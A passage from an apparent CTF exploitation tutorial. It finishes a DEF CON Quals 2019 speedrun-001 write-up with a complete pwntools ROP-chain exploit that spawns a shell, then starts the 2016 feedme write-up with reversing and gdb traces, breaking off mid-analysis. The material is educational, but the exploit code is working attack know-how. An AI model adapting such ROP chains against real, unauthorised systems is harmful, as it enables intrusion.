0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/10g 0x6b6000
0x6b6000:    0x0    0x0
0x6b6010:    0x0    0x0
0x6b6020:    0x0    0x0
0x6b6030:    0x0    0x0
0x6b6040:    0x0    0x0

Looking at this, the elf memory region between 0x6b6000 - 0x6bc000 looks pretty good. I'll probably go with the address 0x6b6000. There are a few reasons why I choose this. The first is that it is from the elf's memory space that doesn't have PIE, so we know what the address is without an infoleak. In addition to that, the permissions are rw so we can read and write to it. Also there doesn't appear to be anything stored there at the moment, so it probably won't mess things up if we store it there. Also let's find the offset between the start of our input and the return address using the same method I've used before:

gef➤  b *0x400b90
Breakpoint 1 at 0x400b90
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
Hello brave new challenger
Any last words?
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x9               
$rbx   : 0x0000000000400400  →   sub rsp, 0x8
$rcx   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x7d0             
$rsp   : 0x00007fffffffda30  →  "15935728"
$rbp   : 0x00007fffffffde30  →  0x00007fffffffde50  →  0x0000000000401900  →   push r15
$rsi   : 0x00007fffffffda30  →  "15935728"
$rdi   : 0x0               
$rip   : 0x0000000000400b90  →   lea rax, [rbp-0x400]
$r8    : 0xf               
$r9    : 0x0               
$r10   : 0x000000000042ad40  →   pslldq xmm2, 0x4
$r11   : 0x246             
$r12   : 0x00000000004019a0  →   push rbp
$r13   : 0x0               
$r14   : 0x00000000006b9018  →  0x0000000000440ea0  →   mov rcx, rsi
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda30│+0x0000: "15935728"     ← $rsp, $rsi
0x00007fffffffda38│+0x0008: 0x000000000000000a
0x00007fffffffda40│+0x0010: 0x0000000000000000
0x00007fffffffda48│+0x0018: 0x0000000000000000
0x00007fffffffda50│+0x0020: 0x0000000000000000
0x00007fffffffda58│+0x0028: 0x0000000000000000
0x00007fffffffda60│+0x0030: 0x0000000000000000
0x00007fffffffda68│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400b83                  mov    rsi, rax
     0x400b86                  mov    edi, 0x0
     0x400b8b                  call   0x4498a0
 →   0x400b90                  lea    rax, [rbp-0x400]
     0x400b97                  mov    rsi, rax
     0x400b9a                  lea    rdi, [rip+0x919b7]        # 0x492558
     0x400ba1                  mov    eax, 0x0
     0x400ba6                  call   0x40f710
     0x400bab                  nop    
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b90 → lea rax, [rbp-0x400]
[#1] 0x400c1d → mov eax, 0x0
[#2] 0x4011a9 → mov edi, eax
[#3] 0x400a5a → hlt
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0000000000400b90 in ?? ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffda30 - 0x7fffffffda38  →   "15935728"
gef➤  i f
Stack level 0, frame at 0x7fffffffde40:
 rip = 0x400b90; saved rip = 0x400c1d
 called by frame at 0x7fffffffde60
 Arglist at 0x7fffffffda28, args:
 Locals at 0x7fffffffda28, Previous frame's sp is 0x7fffffffde40
 Saved registers:
  rbp at 0x7fffffffde30, rip at 0x7fffffffde38

So we can see that the offset is 0x7fffffffde38 - 0x7fffffffda30 = 0x408 bytes. With that, the last thing we need is to find the ROP gadgets we will use. This time we will be using a utility called ROPgadget from https://github.com/JonathanSalwan/ROPgadget. This will just be a python script which will give us gadgets for a binary we give it. First let's just get four gadgets to just pop values into the four registers we need:

$    python ROPgadget.py --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rdi ; ret"
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
0x0000000000400686 : pop rdi ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rsi ; ret"
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004101f3 : pop rsi ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rdx ; ret"
0x00000000004a8881 : js 0x4a8901 ; pop rdx ; retf
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf

So we found our four gadgets at the addresses 0x415664, 0x400686, 0x4101f3, and 0x4498b5. Next we will need a gadget which will write the string /bin/sh somewhere to memory. For this I looked through all of the gadgets with a mov instruction:

$    python ROPgadget.py --binary speedrun-001 | grep "mov" | less

Looking through the giant list, this one seems like it would fit our needs perfectly:

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

This gadget will allow us to write an 8 byte value stored in rdx to whatever address is pointed to by the rax register. In addition it's kind of convenient since we can use the four gadgets we found earlier to prep this write. Lastly we just need to find a gadget for syscall:

$    python ROPgadget.py --binary speedrun-001 | grep ": syscall"
0x000000000040129c : syscall

Keep in mind that our ROP chain is comprised of addresses to instructions, and not the instructions themselves. So we will overwrite the return address with the first gadget of the ROP chain, and when it returns it will keep on going down the chain until we get our shell. Also for moving values into registers, we will store those values on the stack in the ROP Chain, and they will just be popped off into the regisets. Putting it all together we get the following exploit:

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './speedrun-001': pid 12189
[*] Switching to interactive mode
Hello brave new challenger
Any last words?
This will be the last thing that you say: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\xb5\x98D
$ w
 03:19:37 up 13:12,  1 user,  load average: 0.51, 0.97, 0.88
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               Wed14   ?xdm?  14:26   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
exploit.py  readme.md  speedrun-001

Just like that, we popped a shell!

defcon quals 2016 feedme

This is based off of a Raytheon SI Govs talk.

Let's take a look at the binary:

$    pwn checksec feedme
[*] '/Hackery/pod/modules/bof_static/dcquals16_feedme/feedme'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
$    ./feedme
FEED ME!
15935728
0000000000000000000000000000000000000000000000000000000000000000000
ATE 353933353732380a3030303030303030...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
15935728

So we can see that we are dealing with a 32 bit statically linked binary, with a Non-Executable stack. When we run it, the program prompts us with FEED ME! and we can give input. We also see that we are able to overwrite a stack canary, so we probably have a stack buffer overflow somewhere. In addition to that, when it detected that the stack canary was overwritten it terminated the process, however continued asking us for input. The binary is probably designed in such a way that it spawns child processes which is where we scan in the input and overwrite the stack canary. That way when the program sees that the stack canary has been edited and terminates the process, the parent process spawns another instance and continues asking us for input. Also one more thing, the reason why pwntools says it doesn't have a stack canary is because pwntools looks for a libc call that due to how it was compiled it isn't maid.

Reversing

Looking for the references to the string FEED ME!, we find this:

uint feedMeFunc(void)

{
  byte size;
  undefined4 ptr;
  uint result;
  int in_GS_OFFSET;
  undefined input [32];
  int canary;
 
  canary = *(int *)(in_GS_OFFSET + 0x14);
  puts("FEED ME!");
  size = getInt();
  scanInMemory(input,(uint)size);
  ptr = FUN_08048f6e(input,(uint)size,0x10);
  printf("ATE %s\n",ptr);
  result = (uint)size;
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
    result = canaryFail();
  }
  return result;
}

So we can see it starts off by establishing the stack canary. Proceeding that we call a function called puts (I say that it is puts because it takes in a string ptr like puts and prints it, I didn't really look at what the function was doing other than that). Proceeding that it calls the getInt function which prompts the user for input, and returns the first byte of the input as an integer. Proceeding that we can see that the function scanInMemory is called. The arguments for that are input and size. Using a bit of dynamic analysis we can see that the amount of bytes that scanInMemory is equivalent to size. Also dynamic analysis also tells us that FUN_08048f6e just returns a pointer to 16 bytes of our input. Let's look at this in gdb.

First we set gdb to follow the child process on forks, since that is where this code is ran. Also we set breakpoints for the functions getInt, scanInMemory, and FUN_08048f6e:

gef➤  set follow-fork-mode child
gef➤  show follow-fork mode
Debugger response to a program call of fork or vfork is "child".
gef➤  b *0x8049053
Breakpoint 1 at 0x8049053
gef➤  b *0x8049069
Breakpoint 2 at 0x8049069
gef➤  b *0x8049084
Breakpoint 3 at 0x8049084
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
[New process 14709]
FEED ME!
[Switching to process 14709]
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x9       
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0x080eb4d4  →  0x00000000
$edx   : 0x9       
$esp   : 0xffffcfd0  →  0x080be70c  →  "FEED ME!"
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049053  →  0xfffdeae8  →  0x00000000
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0x080be70c  →  "FEED ME!"     ← $esp
0xffffcfd4│+0x0004: 0x00000000
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x080ea248  →  0x080eb4d4  →  0x00000000
0xffffcfec│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049041                  add    BYTE PTR [ecx-0x3fce0bbb], cl
    0x8049047                  mov    DWORD PTR [esp], 0x80be70c
    0x804904e                  call   0x804fc60
 →  0x8049053                  call   0x8048e42
   ↳   0x8048e42                  push   ebp
       0x8048e43                  mov    ebp, esp
       0x8048e45                  sub    esp, 0x28
       0x8048e48                  mov    DWORD PTR [esp+0x8], 0x1
       0x8048e50                  lea    eax, [ebp-0xd]
       0x8048e53                  mov    DWORD PTR [esp+0x4], eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048e42 (
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049053 → call 0x8048e42
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Thread 2.1 "feedme" hit Breakpoint 1, 0x08049053 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x9       
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0x080eb4d4  →  0x00000000
$edx   : 0x9       
$esp   : 0xffffcfcc  →  0x08049058  →   mov BYTE PTR [ebp-0x2d], al
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08048e42  →   push ebp
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfcc│+0x0000: 0x08049058  →   mov BYTE PTR [ebp-0x2d], al     ← $esp
0xffffcfd0│+0x0004: 0x080be70c  →  "FEED ME!"
0xffffcfd4│+0x0008: 0x00000000
0xffffcfd8│+0x000c: 0x00000000
0xffffcfdc│+0x0010: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x001c: 0x080ea248  →  0x080eb4d4  →  0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048e31                  call   0x804fc60
    0x8048e36                  mov    DWORD PTR [esp], 0x1
    0x8048e3d                  call   0x804ed20
 →  0x8048e42                  push   ebp
    0x8048e43                  mov    ebp, esp
    0x8048e45                  sub    esp, 0x28
    0x8048e48                  mov    DWORD PTR [esp+0x8], 0x1
    0x8048e50                  lea    eax, [ebp-0xd]
    0x8048e53                  mov    DWORD PTR [esp+0x4], eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048e42 → push ebp
[#1] 0x8049058 → mov BYTE PTR [ebp-0x2d], al
[#2] 0x80490dc → movzx eax, al
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048e42 in ?? ()
gef➤  finish
Run till exit from #0  0x08048e42 in ?? ()
75395128
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x37      
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000137
$edx   : 0x1       
$esp   : 0xffffcfd0  →  0x080be70c  →  "FEED ME!"
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049058  →   mov BYTE PTR [ebp-0x2d], al
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0x080be70c  →  "FEED ME!"     ← $esp
0xffffcfd4│+0x0004: 0x00000000
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x080ea248  →  0x080eb4d4  →  0x00000000
0xffffcfec│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049047                  mov    DWORD PTR [esp], 0x80be70c
    0x804904e                  call   0x804fc60
    0x8049053                  call   0x8048e42
 →  0x8049058                  mov    BYTE PTR [ebp-0x2d], al
    0x804905b                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x804905f                  mov    DWORD PTR [esp+0x4], eax
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
    0x8049069                  call   0x8048e7e
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049058 → mov BYTE PTR [ebp-0x2d], al
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049058 in ?? ()
gef➤  5395128
Undefined command: "5395128".  Try "help".
gef➤  p $al
$1 = 0x37

For the getInt function, we see that we passed it the string 75395128, and it returned to us 0x39 (which corresponds to the ascii character 7):

gef➤  c
Continuing.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcfec  →  0x00000000
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000137
$edx   : 0x1       
$esp   : 0xffffcfd0  →  0xffffcfec  →  0x00000000
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049069  →  0xfffe10e8  →  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  0x00000000     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804905f                  mov    DWORD PTR [esp+0x4], eax
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
 →  0x8049069                  call   0x8048e7e
   ↳   0x8048e7e                  push   ebp
       0x8048e7f                  mov    ebp, esp
       0x8048e81                  sub    esp, 0x28
       0x8048e84                  mov    eax, DWORD PTR [ebp+0xc]
       0x8048e87                  mov    DWORD PTR [ebp-0x14], eax
       0x8048e8a                  mov    DWORD PTR [ebp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048e7e (
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049069 → call 0x8048e7e
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Thread 2.1 "feedme" hit Breakpoint 2, 0x08049069 in ?? ()
gef➤  x/2w $esp
0xffffcfd0:    0xffffcfec    0x37
gef➤  x/40w 0xffffcfec
0xffffcfec:    0x0    0x2710    0x0    0x0
0xffffcffc:    0x0    0x80ea0a0    0x0    0x0
0xffffd00c:    0x44aff700    0x0    0x80ea00c    0xffffd048
0xffffd01c:    0x80490dc    0x80ea0a0    0x0    0x80ed840
0xffffd02c:    0x804f8b4    0x0    0x0    0x0
0xffffd03c:    0x80481a8    0x80481a8    0x0    0xffffd068
0xffffd04c:    0x80491da    0x80ea0a0    0x0    0x2
0xffffd05c:    0x0    0x0    0x80ea00c    0x8049970
0xffffd06c:    0x80493ba    0x1    0xffffd0f4    0xffffd0fc
0xffffd07c:    0x0    0x0    0x80481a8    0x0
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcfec  →  0x00000000
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000137
$edx   : 0x1       
$esp   : 0xffffcfcc  →  0x0804906e  →   movzx eax, BYTE PTR [ebp-0x2d]
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08048e7e  →   push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfcc│+0x0000: 0x0804906e  →   movzx eax, BYTE PTR [ebp-0x2d]     ← $esp
0xffffcfd0│+0x0004: 0xffffcfec  →  0x00000000
0xffffcfd4│+0x0008: 0x00000037 ("7"?)
0xffffcfd8│+0x000c: 0x00000000
0xffffcfdc│+0x0010: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x001c: 0x370ea248
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048e78                  movzx  eax, BYTE PTR [ebp-0xd]
    0x8048e7c                  leave  
    0x8048e7d                  ret    
 →  0x8048e7e                  push   ebp
    0x8048e7f                  mov    ebp, esp
    0x8048e81                  sub    esp, 0x28
    0x8048e84                  mov    eax, DWORD PTR [ebp+0xc]
    0x8048e87                  mov    DWORD PTR [ebp-0x14], eax
    0x8048e8a                  mov    DWORD PTR [ebp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048e7e → push ebp
[#1] 0x804906e → movzx eax, BYTE PTR [ebp-0x2d]
[#2] 0x80490dc → movzx eax, al
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048e7e in ?? ()
gef➤  finish
Run till exit from #0  0x08048e7e in ?? ()
00000000000000000000000000000000000000000000000000000000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x37      
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37      
$esp   : 0xffffcfd0  →  0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0       
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804906e  →   movzx eax, BYTE PTR [ebp-0x2d]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  "00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
    0x8049069                  call   0x8048e7e
 →  0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804906e → movzx eax, BYTE PTR [ebp-0x2d]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0804906e in ?? ()
gef➤  0
Undefined command: "0".  Try "help".
gef➤  x/40w 0xffffcfec
0xffffcfec:    0x30303030    0x30303030    0x30303030    0x30303030
0xffffcffc:    0x30303030    0x30303030    0x30303030    0x30303030
